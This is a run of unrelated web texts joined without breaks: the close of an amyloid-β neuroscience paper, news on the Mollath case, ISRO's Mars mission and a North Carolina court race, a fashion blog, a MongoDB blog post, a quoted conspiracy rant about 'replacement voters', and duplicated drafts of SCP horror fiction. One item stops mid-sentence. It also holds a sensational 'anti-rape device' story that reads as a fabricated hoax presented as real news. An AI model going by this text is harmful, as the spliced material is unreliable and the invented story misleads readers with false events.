The universal amyloid-β accumulation observed in young BFCNs raises the possibility of normal physiological function(s) of this peptide. Several reports indicate potential functional roles for amyloid-β including antioxidant action (Nunomura et al., 2010), promotion of synaptic plasticity (Puzzo et al., 2012), neurotrophic effects (Yankner et al., 1990) and involvement in memory formation (Garcia-Osta and Alberini, 2009). The current consensus in the literature is that these functions of amyloid-β are optimally evident at low (picomolar) concentrations, and that the peptide loses function and becomes primarily toxic as concentration increases (Atwood et al., 2003; Tampellini and Gouras, 2010; Puzzo and Arancio, 2013). The role of amyloid-β at synapses, in particular, is of great interest. Oligomeric species have been shown to bind synapses preferentially, exhibiting pathogenic action (Lacor et al., 2004; Klein, 2006). Intraneuronal amyloid-β has been shown to be associated with degenerative synaptic abnormalities (Takahashi et al., 2002). Physiologically normal synaptic activity has been shown to increase amyloid-β secretion at the expense of intracellular accumulation, which may be associated with a neuroprotective effect (Tampellini et al., 2009).
We observed increased intermediate and large oligomeric amyloid-β in basal forebrain from normal aged and Alzheimer brains. Recent work has demonstrated that oligomeric assemblies may be differentially prevalent in early versus late-onset Alzheimer’s disease in frontal cortex (Bao et al., 2012), which may implicate differential contributions of various assembly states to distinct disease pathways. Selectively vulnerable neuronal populations, such as BFCNs, may likewise exhibit specific sensitivity to the neurotoxic effects of particular oligomeric assembly states of amyloid-β. Indeed, Bao et al. (2012) have reported an association between increased amyloid-β decamer prevalence (∼45 kDa), reduced CHAT activity, and loss of CHRNA7 in frontal cortex in late-onset Alzheimer’s disease, supporting a link between this species and cholinergic dysfunction.
The case with the highest measured optical density of amyloid-β staining in BFCNs was an aged control, confirming previous reports indicating that intraneuronal amyloid-β may accumulate with age (Gouras et al., 2005). Furthermore, the average optical density among Alzheimer cases was lower than normal controls at any age; two Alzheimer’s disease cases fell below all control cases excepting one SuperAged case. It should be noted that the population of BFCNs in Alzheimer’s disease represents a subset of surviving cells, which may have the benefit of protective factors such as increased calcium buffering capacity (Riascos et al., 2011) or differences in amyloid-β production, trafficking, or degradation. These differences could be reflected in decreased intracellular amyloid-β. Although the number of SuperAged cases available for the current studies precludes statistical validation, the lowest optical density recorded occurred in one SuperAged case, whereas the optical density measure for the second SuperAged case was lower than the mean optical density for the cognitively normal controls. Future characterization of pathology from SuperAged individuals who are now enrolled in cognitive studies will be necessary to resolve this potential relationship between relatively low intracellular amyloid-β and preserved cognitive ability, and warrants further study.
Conclusion
These combined immunoblot and immunohistochemistry findings demonstrate that accumulation of amyloid-β 42 within BFCNs occurs early in young brains and continues in the course of ageing and disease. Furthermore, early accumulation of amyloid-β 42 seems to be a selective feature of BFCNs when compared with cortex and is not due to differences or changes in APP expression. The accumulation of amyloid-β may be a characteristic of the region of the brain within which these cells are located, as a subpopulation of magnocellular neurons of globus pallidus exhibits amyloid-β positivity but in substantially lower proportion of total neurons when compared with the BFCN. It is likely that early accumulation of amyloid-β in the BFCN has deleterious effects on neuronal (synaptic) function, possibly via disruption of resting cytosolic calcium. The lifelong accumulation of intraneuronal amyloid-β and increases in size of amyloid-β oligomers in ageing and Alzheimer’s disease may be responsible, at least in part, for the selective vulnerability of these neurons to pathology and degeneration.
Acknowledgements
We are grateful to Katherine Gasho and Nicholas Nagykery for expert technical assistance.
Funding
This work was supported in part by a Zenith Fellows Award (C.G.) from the Alzheimer’s Association, and by grants from the National Institute on Ageing (AG014706 and AG027141 to C.G. and AG20506 T32 to A.B.N). A portion of the tissue used in these studies was received from the Northwestern University Alzheimer’s Disease Center (AG013854).
Supplementary material
Supplementary material is available at Brain online.
Abbreviation
Abbreviation BFCN basal forebrain cholinergic neuron
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Youthful memory capacity in old brains: anatomic and genetic clues from the Northwestern SuperAging Project, J Cog Neurosci, 2013, vol. 25 (pg. 29 - 36 ), vol.(pg. Selkoe D Bell D Podlisny M Price D Cork L Conservation of brain amyloid proteins in aged mammals and humans with Alzheimer's disease, Science, 1987, vol. 235 (pg. 873 - 77 ), vol.(pg. Shah P Lal N Leung E Traul DE Gonzalo-Ruiz A Geula C Neuronal and axonal loss are selectively linked to fibrillar amyloid-β within plaques of the aged primate cerebral cortex, Am J Pathol, 2010, vol. 177 (pg. 325 - 33 ), vol.(pg. Takahashi RH Milner TA Li F Nam EE Edgar MA Yamaguchi H, et al. Intraneuronal Alzheimer Aβ42 accumulates in multivesicular bodies and is associated with synaptic pathology, Am J Pathol, 2002, vol. 161 (pg. 1869 - 79 ), vol.(pg. Tampellini D Gouras GK Synapses, synaptic activity and intraneuronal Aβ in Alzheimer's disease, Front Aging Neurosci, 2010, vol. 2 (pg. 1 - 5 ), vol.(pg. Tampellini D Rahman N Gallo EF Huang Z Dumont M Capetillo-Zarate E, et al. Synaptic activity reduces intraneuronal Aβ, promotes APP transport to synapses, and protects against Aβ-related synaptic alterations, J Neurosci, 2009, vol. 29 (pg. 9704 - 13 ), vol.(pg. Tomiyama T Matsuyama S Iso H Umeda T Takuma H Ohnishi K, et al. A mouse model of amyloid beta oligomers: their contribution to synaptic alteration, abnormal tau phosphorylation, glial activation, and neuronal loss in vivo, J Neurosci, 2010, vol. 30 (pg. 4845 - 56 ), vol.(pg. Wu C-K Nagykery N Hersh LB Scinto LFM Geula C Selective age-related loss of calbindin-D 28k from basal forebrain cholinergic neurons in the common marmoset (Callithrix jacchus), J. Neurosci, 2003, vol. 120 (pg. 249 - 59 ), vol.(pg. Wu C-K Thal L Pizzo D Hansen L Masliah E Geula C Apoptotic signals within the basal forebrain cholinergic neurons in Alzheimer's disease, Exp Neurol, 2005, vol. 195 (pg. 484 - 96 ), vol.(pg. Yankner BA Duffy LK Kirschner DA Neurotrophic and neurotoxic effects of amyloid beta protein: reversal by tachykinin neuropeptides, Science, 1990, vol. 250 (pg. 279 - 82 ), vol.(pg. Youmans KL Tai LM Kanekiyo T Stine WB Jr Jr Michon S-C Nwabuisi-Heath E, et al. Intraneuronal Aβ detection in 5xFAD mice by a new Aβ-specific antibody, Mol Neurodegener, 2012, vol. 7 pg. 8, vol.pg.
© The Author (2015). Published by Oxford University Press on behalf of the Guarantors of Brain. All rights reserved. For Permissions, please email: journals.permissions@oup.comState Justice Minister Beate Merk says Gustl Mollath was and still is dangerous. He was acquitted of attacking his wife, but sentenced to compulsory psychiatric care, after an evaluation found that he had developed a "paranoid system of thought."
In an interview with Sunday's Süddeutsche Zeitung, law professor Henning Ernst Müller said major mistakes were made during Mollath's trial in 2006.
Three years earlier, in 2003, Mollath accused his wife and other employees at the HypoVereinsbank (HVB) of illegally funnelling clients' money into bank accounts in Switzerland. To bolster his claims, he offered up a folder full of documents.
But prosecutors did not investigate - and later, Mollath's wife filed suit against her husband for physically attacking her.
According to Müller, a professor of criminal law at the University of Regensburg, she had strong motivation to make false allegations against him.
Last week Merk defended prosecutors' decision not to probe the corruption claims against Mollath's wife, saying they did not have reasonable suspicion to believe the allegations based on the material provided.
Yet an audit conducted by HypoVereinsbank in 2003, which was only recently made public, suggests prosecutors had good cause to doubt the credibility of Mollath's wife.
"All verifiable claims were found to be accurate," the Süddeutsche Zeitung cited the HVB report as saying.
Müller told the paper that the justice minister had a responsibility to instigate an independent review of the case.
The bank's report means that Gustl Mollath's supposed crimes must be seen "in a completely different light," Müller argued. He also criticised the court for disregarding the allegations against Mollath's wife in evaluating her testimony.
On Wednesday, the Social Democrats in Bavaria's state parliament threatened to open an inquiry into the matter - but Merk has hit back, accusing the opposition of using the case for political gain.Follow me:
I was lucky enough to go on a girly long weekend to Richmond London. One of my absolute favourite places to visit, especially in the summer. This weekend was boiling so I was very happy with my pink feminine airy outfit.
I’ve fallen in love with this dress from New Look that I got in the sale its very flapper 20s inspired but very feminine and flowy, Its tiered in pale pink and looks very flattering with a belt. I wouldn’t recommend this dress if you don’t like wearing belts as you can lose your waist in this dress and look bigger than you actually are.
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Because this dress can become too formal very quickly I paired it with simple black flat shoes from Primark to make it look more casual.
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For a finishing touch, I added my leather free Ted Baker floral cross body bag with rose gold hardware, again bought in the sale. I have a full review on this bag on my blog but a little update is that I don’t think it will last long! Though it’s a stunning bag it doesn’t look like it will stand the test of time and for a designer handbag that’s a big No No!
My First Vegan Designer Bag! Ted Baker
Because it was so sunny I had to wear my favourite pair of sunglasses from Ray Ban, the Erika in plain black. These sunglasses flatter my face shape perfectly and I couldn’t live without them.
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This entire outfit is cruelty-free! unfortunately, a lot of these pieces are no longer available but I will find similar things and link them! Have any of you been to Richmond, London? If so please tell me in the comments or if you liked this outfit. Thanks for reading Xxx
Cruelty-Free Fashion | Blazer Outfit
My Evening Cruelty-Free Skincare Routine!
Share this post: Follow me:A New York woman is thanking the makers of an anti-rape device saying that it “saved her from being raped and brutally assaulted.” Michelle Kingston says she was walking home from work in the afternoon on Sunday when a man jumped out of a side alley and grabbed her. “I couldn’t scream, it happened so quick. He put his hand over my mouth and threatened me with a knife. I stayed calm and complied knowing he was about to get the karma he deserved.”
The ‘Karma’ that Kingston describes is a device that was purchased for her by her grandfather. “I wanted my granddaughter to be safe, so I purchased this anti-rape device for her,” said Mitchell Kingston, the grandfather. “She fussed about it, but finally gave in. She’s gorgeous and only 18 and I don’t want her to be taken advantage of or assaulted. She walks to and from work every day in the city, and rapes happen multiple times per day. That punk got would he deserved.”
According to Kingston, the minute he penetrated his victim, the device sliced his genitals with 6 razors in one clean sweep. Then, the device slices down one more time on its way out. The perpetrator fell to the ground screaming in agony, which gave Kingston the time to run and call police on her cell phone. The man, 38-year-old Ronald Steadway, was transported to a nearby hospital where his penis had to be surgically removed. After recovery, police say he will be relocated to the county jail awaiting trial on no bond.
“There is no way to save the penis once it has come across a device like this,” said Dr. Thomas Parque, attending physician. “It is what it is. It’s one less creep off the streets. He’ll never be able to do this to any woman ever again.”Mission Mars Mission Mars
There are 23 more days to go for India's Mars Orbiter spacecraft to enter the Mars orbit while the mission has completed 300 days, said the Indian space agency.
In a posting on the micro-blogging site Twitter, the Indian Space Research Organisation (ISRO) said: "The Mars Orbiter Mission completed 300 days in space. Just 23 days more to reach Mars."
According to ISRO, the Mars Orbiter payloads were in good health. On September 14, ISRO officials would correct the spacecraft's trajectory. It is expected to enter the Mars Orbit 10 days later.
On Sept 24, the manoeuvring of the spacecraft will begin around 7.30 a.m. The spacecraft's speed will be reduced from the current velocity so that the Orbiter enters the Mars orbit.
Of the Rs.450 crore budget on the project, India has spent Rs.349 crore on its Mars Orbiter Mission as on March 31 this year. The Mars Orbiter was launched Nov 5, 2013.Full interview with Associate Justice Bob Edmunds
Full interview with Wake County Superior Court Judge Michael Morgan
North Carolina has been a prime focus of both presidential campaigns. The ballot this year will also include hotly contested races for Governor and US Senate. Down-ballot races have gotten less attention, but could be just as critical. One of those is the race for state Supreme Court. While the race is officially non-partisan, the ideological split of the court is on the line. Associate Justice Bob Edmunds is up for re-election, with Republicans holding a slim 4-3 majority on the court. Edmunds is a registered Republican. His opponent, Wake County Superior Court Judge Michael Morgan, is a registered Democrat.
Both Edmunds and Morgan spoke with me about the election. Edmunds joined me in person at WCQS, and Morgan was able to talk to me from the studios of WUNC in Chapel Hill. Those full conversations are above. I've highlighted some of the key discussion points below. (I've placed Edmunds' responses first because he's the incumbent.)
NC Supreme Court Redistricting Ruling
One of the split decisions rendered by the court was for a case, Dickson v. Rucho, challenging North Carolina districts drawn by Republican lawmakers on racial grounds. Bob Edmunds wrote the majority opinion upholding those districts. They were ultimately overthrown by a federal appeals court, but not in time for this election. I spoke at length about that ruling with both Edmunds and Morgan. Their responses are below.
Justice Edmunds on redistricting lawsuit
Judge Morgan on redistricting ruling
NC Supreme Court ruling on school vouchers
Another split decision concerned school vouchers. Republican lawmakers approved a program by which money would be provided for vouchers to send low-income students in low-performing schools to private schools. The court upheld the voucher program over criticism that it would hurt public schools. The legislature has since expanded the program. Morgan called the ruling "disappointing." Edmunds defended it.
Edmunds on school voucher ruling
Judge Morgan on school vouchers ruling
Two times where judge recusals were an issue.
One of the more interesting aspects of this race is that it almost never happened. Lawmakers passed a bill that would have allowed for a retention election. In that scenario, Edmunds would have run on an up-or-down vote without an opponent. The law was criticized as a ploy to keep Edmunds on the court, and to keep Republicans in control. It was challenged in court and thrown out. When it was appealed to the state Supreme Court itself, Edmunds recused himself, and a split 3-3 decision allowed the ruling to stand. Edmunds says he had nothing to do with the bill and had no contact with the legislature concerning it.
Justice Edmunds on retention elections for NC Supreme Court
Meanwhile, Judge Morgan faced his own question of whether to recuse himself in a case concerning voter ID. North Carolina's voter ID law was thrown out by the courts, but there were multiple challenges, and Morgan was overseeing one of those cases (not the one that was ruled on). The conservative group Civitas Institute said Morgan should recuse himself from the case, as it could impact Morgan's own race. But Morgan declined, saying he checked with the NC Judicial Standards Commission and was assured there was no conflict of interest. His full comments on the issue are below.
Judge Morgan on declining to recuse himself from voter ID trial
Early voting in North Carolina takes place between October 20th and November 5th. During that time, voters can register and vote at the same time. Election day is November 8th. There is no registration allowed on election day. You can visit your county board of elections website for schedules and locations of early voting sites. You can visit the NC board of elections website for more information and to check on your own voter registration.(Last Updated On: January 1, 2018)
Every now and then I get to read someone’s bad thought towards a given open-source framework. When I started programming Struts web framework was at its prime, everybody loved it. But then, little by little people started blaming it and then hate followed.
Then people started blaming Hibernate and recently MongoDB. I’ve even read that “I shouldn’t use MongoDB“. Well, I delivered projects on Struts, Hibernate and MongoDB, and none of those was ever a blocker.
If there is someone to blame it’s usually us, not the frameworks we use. If you download and browse the source code of a given open-source project, you’ll be pleasantly surprised by the quality of code. Most of the time I find it at least as good as I’d do it myself. Many open-source projects are the result of endless hard-working hours of many passionate developers, so why should we blame their frameworks then?
Like any other thing on earth, all of those have strengths and weaknesses and it’s us to decide which features fit in our projects, or whether we should even consider employing the framework after all.
While learning Struts, Spring or jQuery wasn’t that difficult, when it comes to databases, Hibernate and now NoSQL things get trickier. Both Hibernate and MongoDB are quality products, and I know many successful projects built on top of them, but that doesn’t mean they are easy to use. If you want to employ them, be prepared to learn a lot, there is no other way.
When I started using Hibernate I was overwhelmed by its complexity. I soon understood I couldn’t catch things up without thoroughly studying it, and that’s why I decided to fully read all the 900 pages of Java Persistence with Hibernate. And that was just the beginning, as even now I continue reading and checking its source code every now and then.
Then MongoDB seemed like a good fit in many of our projects, and since I knew nothing of NoSQL, I had to invest quite some time to be productive. Luckily MongoDB offers free online classes and once again I had to get back to studying. If you ever had to work with MongoDB aggregation framework you know what I mean.
Just a short example of a simple mistake I’ve made and it cost me two hours of my regular sleep for fixing it.
$match: { "timestamp" : { $gte: fromTimestamp }, "timestamp" : { $lt: toTimestamp } }
When I wrote this I thought I would get a logical conjunction by matching all documents between the fromTimestamp and toTimestamp. But this is not what I got, since this match selects all documents less than toTimestamp since the first assignment is overridden by the second one.
What I wanted must be expressed as:
$match: { "timestamp" : { $gte: fromTimestamp, $lt: toTimestamp } }
But then, it was not MongoDB’s fault I was getting a very bad performance for my aggregates. I was miss-instructing it to do something completely different from my original intention.
So that’s why I don’t blame the frameworks I work with. We are mostly suffering of bad usage rather than bad tools.
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You probably don’t know who Sher Zieve is, but you definitely need to know what she said about Donald Trump. Zieve took fingers to keyboard on BarbWire last week to share her feelings on the man who once inspired a piñata. She claimed Trump would ruin the plans of “the ruling class members” to create a “One-World Government” – a government that would allow them to continue to maintain their “cushy, lucrative and powerful positions.”
What else did she have to say? According to Right Wing Watch:
In the meantime said leaders are destroying their own countries (Obama was extremely excited and happy to do it) by obliterating their economies, flooding their countries with replacement voters and terrorists (so that the citizens of those countries would be overwhelmed and unable to respond quickly enough toward fighting them off) and passing new “anti-hate” laws to shut the people up and keep them from complaining about their own enslavement. If they do, in many countries (think Sweden for one) they’re arrested and placed in prison.
The best |
instance of SCP-XXXX within four to seven days. Addendum A: Below is a testing log of SCP-XXXX instances to determine the limitations of it's properties. Testing log uses the following structure: Test #:
Subject(s):
Post:
Results:
Notes: SCP-XXXX Testing Log Test #: XXXX-1A
Subject(s): D-48293
Post: An image of an empty standard humanoid containment cell with the caption "TEST" written in red.
Results: A projection identical to the caption appears in the cell. Projection is permeable to physical matter. Projection dissipates after twenty four hours.
Notes: Confirmation of SCP-XXXX anomalous properties. Projection appears to remain only as long as the post is active. Additional testing approved by Project Head Professor Hallow. Test #: XXXX-1B
Subject(s): D-48293, D-47222
Post: Same as Test #: XXXX-1A, sent from D-48293 to a non-anomalous account used by D-47222. D-47222 positioned in an otherwise empty standard testing chamber.
Results: Standard testing chamber spontaneously restructures to a room identical to that seen in the post. Room returns to a testing chamber after twenty four hours.
Notes: First recorded instance of SCP-XXXX restructuring physical reality. Extraneous control testing redacted for brevity. Test #: XXXX-2E
Subject(s): D-48293, D-47222
Post: A text only message reading, "D-47222 is in Site-45's testing chamber 023384" sent from D-48293's SCP-XXXX instance to D-47222's non-anomalous account. Both subjects positioned in an otherwise empty standard humanoid containment cell in Specialized Research and Application Site-68.
Results: D-47222 rapidly dematerializes upon receiving the message. Liquid substance composed of human remains belonging to D-47222 materialize within the designated testing chamber at Site-45. Liquid returns to starting position after twenty four hours.
Notes: Perhaps specifying the subject is to remain alive will allow for safe transportation? -Researcher Burr Test #: XXXX-2F
Subject(s): D-48293, D-32118
Post: A text only message reading, "D-32118 is in Site-45's testing chamber 023384 and alive." sent from D-48293 using SCP-XXXX to a non-anomalous account used by D-32118.
Results: D-32118 rapidly dematerializes upon receiving the message. D-32118 materializes within the designated testing chamber at Site-45. D-32118 does not respond to stimuli, appearing to be in a vegetative state. Autopsy confirms D-32118 had been reconstructed at a cellular level, though D-32118's cells had not been returned to their proper locations. D-32118 returns to starting position after twenty four hours. Upon return, D-32118's cellular structure had shifted again.
Notes: Text is not specific enough. Maybe a visual could make it understand? -Researcher Burr Test #: XXXX-2G
Subject(s): D-48293, D-91002
Post: An image of testing chamber 023384 in Site-45 with D-91002 digitally inserted into the room and a caption reading "this is where I, D-91002, am. I am alive, unharmed, and healthy". Posted to D-91002's non-anomalous account by D-48293 using SCP-XXXX.
Results: Upon materialization, D-91002 [DATA EXPUNGED] death of ██ Site-45 personnel before being terminated by on-site security. Remains of D-91002 return to starting position after twenty four hours. Remains transferred to Area-32 deep storage.
Notes: Nearly there. Perhaps if we provide SCP-XXXX with some clear, vocalized instructions as well? -Researcher Burr
Use of SCP-XXXX for transportation, in testing or otherwise, is forbidden from this point onward. -Professor Hallow. Testing of SCP-XXXX postponed to prioritize SCP-XXXX-Tau research. Addendum B: On 14/3/18, Junior Researcher ███ discovered an instance of SCP-XXXX-1 written in a restroom stall in Specialized Research and Application Site-68. This SCP-XXXX-1 instance deviated from previously recorded behavior, instead providing credentials for a Level 5 Foundation SCiPnet user account (hereby referred to as SCP-XXXX-Tau). Permission to test the properties of SCP-XXXX-Tau granted on 16/3/18. SCP-XXXX-Tau Testing Log Test #: XXXX-TA
Subject(s): D-70023
Post: Edit of SCP-████ documentation to include the word "Test" at the bottom of the page.
Results: "Test" appears on all copies of SCP-████ documentation, including print copies.
Notes: Site-45 personnel have alerted us that the revision to the SCP-███ documentation cannot be reverted. SCP-XXXX-Tau may permanently rewrite reality. Additional testing is required. -Researcher Burr Test #: XXXX-TB
Subject(s): D-70023
Post: Edit of SCP-████ documentation to remove the word "Test" at the bottom of the page.
Results: "Test" continues to appear on all SCP-████ documentation.
Notes: All efforts to remove "Test" by XXXX personnel and the Foundation's Records and Information Security Administration (RAISA) have failed. SCP-XXXX-Tau reality shifts presumed permanent.
Seeing as how it has an SCP-XXXX-1, SCP-XXXX-Tau should be able to physically shift reality as an instance of SCP-XXXX would. I propose we abandon the SCP-███ revision for now. Perhaps we can come back to that once we learn more about SCP-XXXX-Tau. -Researcher Burr Test #: XXXX-TC
Subject(s): D-70023, Junior Researcher █████████
Post: Documentation for a non-existent SCP artifact, described as 5 cm x 5 cm x 5 cm cube made of glass and stored in Junior Researcher █████████'s coat pocket.
Results: Artifact appears in Junior Researcher █████████'s coat pocket.
Notes: We have established that SCP-XXXX can create. Can it erase? -Researcher Burr Test #: XXXX-TD
Subject(s): D-70023, Junior Researcher █████████
Post: Deletion of the documentation used in Test #: XXXX-TC.
Results: All attempts to delete the document fail.
Notes: We're not thinking about this in the right way. SCP-XXXX-Tau cannot delete documents, but it can edit them. If it's a tool for crafting a narrative, why not use it for that purpose? -Researcher Burr Test #: XXXX-TE
Subject(s): D-70023, Junior Researcher █████████
Post: Edit of the documentation used in Test #s: XXXX-TC; XXXX-TD, revising the Object Class to Neutralized. Additionally, an addendum was added, stating the cube spontaneously evaporated into harmless water vapor and dissipated.
Results: All documentation of the artifact change to reflect the edits. The artifact itself evaporates as described in the document.
Notes: If this behavior is consistent, SCP-XXXX-Tau can neutralize any SCP artifact in our possession. Requesting permission to test SCP-XXXX-Tau for possible Thaumatological use. -Researcher Burr
Permission granted. -Professor Hallow Extraneous testing redacted. SCP-XXXX-Tau determined to function as hypothesized. Addendum C: On 19/3/18, Researcher Burr submitted a proposal to reclassify SCP-XXXX as Thaumiel submitted to O5 Council by Researcher Burr. Proposal denied on 20/3/18. Re: SCP-XXXX Reclassification Request
from: ten.pics|2_mmoc5o#ten.pics|2_mmoc5o
to: ten.pics|3rrubej#ten.pics|3rrubej
cc: ten.pics|4llahik#ten.pics|4llahik Researcher Jeffery Burr, We have received and read your proposal to reclassify SCP-XXXX as a Thaumiel class artifact. The council voted 12/1 in motion to deny your request. While the anomalous properties of SCP-XXXX, specifically SCP-XXXX-Tau, certainly appear incredibly beneficial to the Foundation as a whole, the council concluded that its usage would ultimately prove to be detrimental. The advent of simply erasing any anomalies that prove too difficult to contain is tantalizing, however one must remember that we are not the Global Occult Coalition. Blind deletion of anomalies is not the goal of the Foundation. What if we were to classify something as anomalous and delete it with SCP-XXXX, only to find out it was not anomalous in the first place? As unlikely as it may sound, it has happened before. The Foundation is far from perfect. We are not here to play God, Researcher Burr. We are not equipped for that. -O5-2
Secure. Contain. Protect. Incident Log XXXX 20/3/18: On 20/3/18, Researcher Burr attempted to breach containment of SCP-XXXX-Tau. Researcher Burr was detained by on-site security and questioned. Following is a transcript of Researcher Burr's questioning. Audio file available per request. Interviewed: Researcher Jeffery Burr Interviewer: Professor Kira Hallow Foreword: Interview conducted approximately thirty minutes after Researcher Burr attempted to breach SCP-XXXX containment. <Begin Log> Hallow: Please state your name for the record. Burr: They all know who I am. Hallow: Please state your name for the record. Burr: Jeffery Burr. Researcher. Level three. Hallow: Researcher Burr, wha- Burr: We can cut the formalities, Kira. You're just drawing this out now. Hallow: Researcher Burr, I am aware that Foundation protocol is not something you hold to any sort of high regard, but I must ask that you- Burr: Oh come on, there's no poi- Hallow: Researcher Burr, I am going to demand that you stop interrupting me. Burr: Oh, yes sir, sorry sir. [silence] Hallow: Please inform me as to why you would attempt to breach the containment of a Keter class object, Researcher Burr. Burr: That's why I did it. Because SCP-XXXX is Keter. Hallow: Please elaborate. Burr: Uh huh. You saw my proposal. And I know you saw it get shot down, damn O5 cced you. Like a teacher telling mommy how bad her kid has been. "Tighten that leash Hallow! One of your underlings has a good idea!" Hallow: I would prefer it if you refrained from any extraneous comments, Researcher Burr. Burr: Here, then. SCP-XXXX-Tau should be Thaumiel. That's why I did it. We have a tool that let's us replace any anomaly with thin air, and we're just going to sit on it. I wanted to change their minds. I was going to tell the D-Class to go through the database and neutralize anything that wasn't Thaumiel. Hallow: Even though that's in direct opposition to our mission statement? Burr: "Secure. Contain. Protect"? Yeah, we just love tossing that one around, don't we? Well, we certainly have got the first two down, but definitely not "Protect". We throw countless men and women who don't know any better in the line of fire for the sake of "science", and for what? So that we can hoard away all of this useless shit for ourselves? Bide our time? If we fail, everything fails. This is a war, and we can't win. We couldn't win. We are the last line of defense between godless horrors and the world, and we finally found the one thing that could give us a hope of winning. And we're just going to throw it in with the rest of the trash? Just because some overworked, faceless suits told us to? [silence] Burr: You know how wrong that is Kira, I know you do. Hallow: Don't tell me what I know, Jeffery. [silence] Hallow: We're done here. <End Log> Special Containment Procedures for SCP-XXXX updated as of 21/3/18 to prevent similar incidents from occurring. Skelekey Version 2 Last Edited 3/26/18 – hide block rating: 0 + x An instance of SCP-XXXX-1, discovered in Chicago Transit Authority train car ████. Discovery date 19/2/2018. Item #: SCP-XXXX Object Class: Keter Special Containment Procedures: Foundation web crawlers are to monitor the internet and Snapchat mobile application platform for instances of SCP-XXXX. Users of active instances are to be identified and detained. D-Class personnel assigned to SCP-XXXX are to be kept in a standard humanoid containment cell and forbidden access to devices with the ability to connect to the internet. Foundation agents embedded in the sanitation departments of major population centers are to monitor high-traffic areas for instances of SCP-XXXX-1. Instances of SCP-XXXX-1 are to be catalogued and sent to Specialized Research and Application Site-68. Access to the Snapchat mobile application is forbidden to Level 2/XXXX through Level 3/XXXX personnel. UPDATE 21/3/18: Testing of SCP-XXXX has been postponed indefinitely. D-Class assigned to SCP-XXXX are to be kept in a medically induced coma and fifty meters away from any device with the ability to connect to the internet. Personnel assigned to SCP-XXXX are to undergo monthly psychological wellness exams. Description: SCP-XXXX is the collective designation assigned to user accounts named "skelekey_███" found on the Snapchat mobile application. SCP-XXXX instances can post content to any other user account, as well as edit any preexisting content uploaded from other users. It is unknown if SCP-XXXX instances manifest independently, or created purposely by some entity. All attempts to recreate or reverse engineer SCP-XXXX instances have failed. Any posts made through SCP-XXXX will alter reality to conform with the post. The only known way of logging into SCP-XXXX is through corresponding SCP-XXXX-1. SCP-XXXX-1 are alphabetical and numerical sequences that, when entered in Snapchat's search field, will produce an instance of SCP-XXXX in the search results. SCP-XXXX-1 is commonly spread through graffiti, often found in public areas with high civilian traffic. Accessing an instance of SCP-XXXX through SCP-XXXX-1 will instantly log the user in, logging them out of any accounts currently being used. Once logged in, it becomes impossible for the user to log out from SCP-XXXX or log into any account that isn't SCP-XXXX. This effect is tied to the user, and will persist among all devices. Additionally, access to that SCP-XXXX becomes restricted to that user. Termination of the user results in the generation of a new instance of SCP-XXXX within four to seven days. Addendum A: Below is a testing log of SCP-XXXX instances to determine the limitations of it's abilities. Testing log uses the following structure: Test #:
Subject(s):
Post:
Results:
Notes: SCP-XXXX Testing Log Test #: XXXX-1A
Subject(s): D-48293, D-47222
Post: An otherwise blank image with the caption "Test" posted to a non-anomalous account used by D-47222 through use of SCP-XXXX. D-48293 assigned to SCP-XXXX.
Results: Post appears on D-47222's account.
Notes: Confirmation of SCP-XXXX anomalous abilities. Additional testing approved by Project Head Professor Hallow. [EXTRANEOUS CONTROL TESTING REDACTED FOR BREVITY] Test #: XXXX-2A
Subject(s): D-48293
Post: An image of an empty standard humanoid containment cell with the caption "TEST" written in red.
Results: A projection identical to the caption appears in the cell. Projection is permeable to physical matter. Projection dissipates after twenty four hours.
Notes: Projection appears to remain only as long as the post is active. Test #: XXXX-2B
Subject(s): D-48293
Post: An image of D-48293 from the shoulders up standing in an otherwise empty standard humanoid containment cell.
Results: A projection of D-48239 appears standing as he did in the image. Projection is cut off identical to where D-48239's shoulder is cut off in the image. Projection is permeable to physical matter. Projection dissipates after twenty four hours.
Notes: N/A Test #: XXXX-2C
Subject(s): D-48293, D-47222
Post: A three second video of D-47222 walking out of an otherwise empty standard human containment cell. Video recorded by D-48239.
Results: A projection of D-47222 walking out of the cell. Projection is cut off when it reaches the point where D-47222 walks off frame. Projection is permeable to physical matter. Projection repeats for twenty four hours before dissipating.
Notes: Lab results reveal SCP-XXXX projections are caused by a repositioning of light particles. Test #: XXXX-2D
Subject(s): D-48293, D-47222
Post: Same as Test #: XXXX-2A, sent from D-48293 to a non-anomalous account used by D-47222. D-47222 positioned in an otherwise empty standard testing chamber.
Results: Standard testing chamber spontaneously restructures to a room identical to that seen in the post. Room returns to a testing chamber after twenty four hours.
Notes: First recorded instance of SCP-XXXX restructuring physical reality. Test #: XXXX-2E
Subject(s): D-48293, D-47222
Post: A text only message reading, "D-47222 is in Site-45's testing chamber 023384" sent from D-48293's SCP-XXXX instance to D-47222's non-anomalous account. Both subjects positioned in an otherwise empty standard humanoid containment cell in Specialized Research and Application Site-68.
Results: D-47222 rapidly dematerializes upon receiving the message. Liquified human remains belonging to D-47222 materialize within the designated testing chamber at Site-45. Remains returned to starting position after twenty four hours.
Notes: Perhaps specifying the subject is to remain alive will allow for safe transportation? -Researcher Burr Test #: XXXX-2F
Subject(s): D-48293, D-32118
Post: A text only message reading, "D-32118 is in Site-45's testing chamber 023384 and alive." sent from D-48293 using SCP-XXXX to a non-anomalous account used by D-32118.
Results: D-32118 rapidly dematerializes upon receiving the message. Liquified human remains belonging to D-32118 materialize within the designated testing chamber at Site-45. Remains do not cease life function. Remains returned to starting position after twenty four hours.
Notes: If text cannot be used for transportation, perhaps images can? -Researcher Burr Test #: XXXX-2G
Subject(s): D-48293, D-91002
Post: An image of testing chamber 023384 in Site-45 with D-91002 digitally inserted into the room and a caption reading "this is where I, D-91002, am. I am alive, unarmed, and unaltered". Posted to D-91002's non-anomalous account by D-48293 using SCP-XXXX.
Results: [DATA EXPUNGED]
Notes: Use of SCP-XXXX for transportation, in testing or otherwise, is forbidden from this point onward. -Professor Hallow. Test #: XXXX-3A
Subject(s): D-48293
Post: A video of D-48293 saying "Test" into an empty standard testing chamber.
Results: Vocalization of D-48239 sating "Test" can be heard in the testing chamber for the next twenty four hours, before silencing.
Notes: First recorded instance of SCP-XXXX transferring sound. Test #: XXXX-3B
Subject(s): D-48293, D-91002
Post: A video call between D-48239 using SCP-XXXX and D-91002 using a non-anomalous account.
Results: N/A
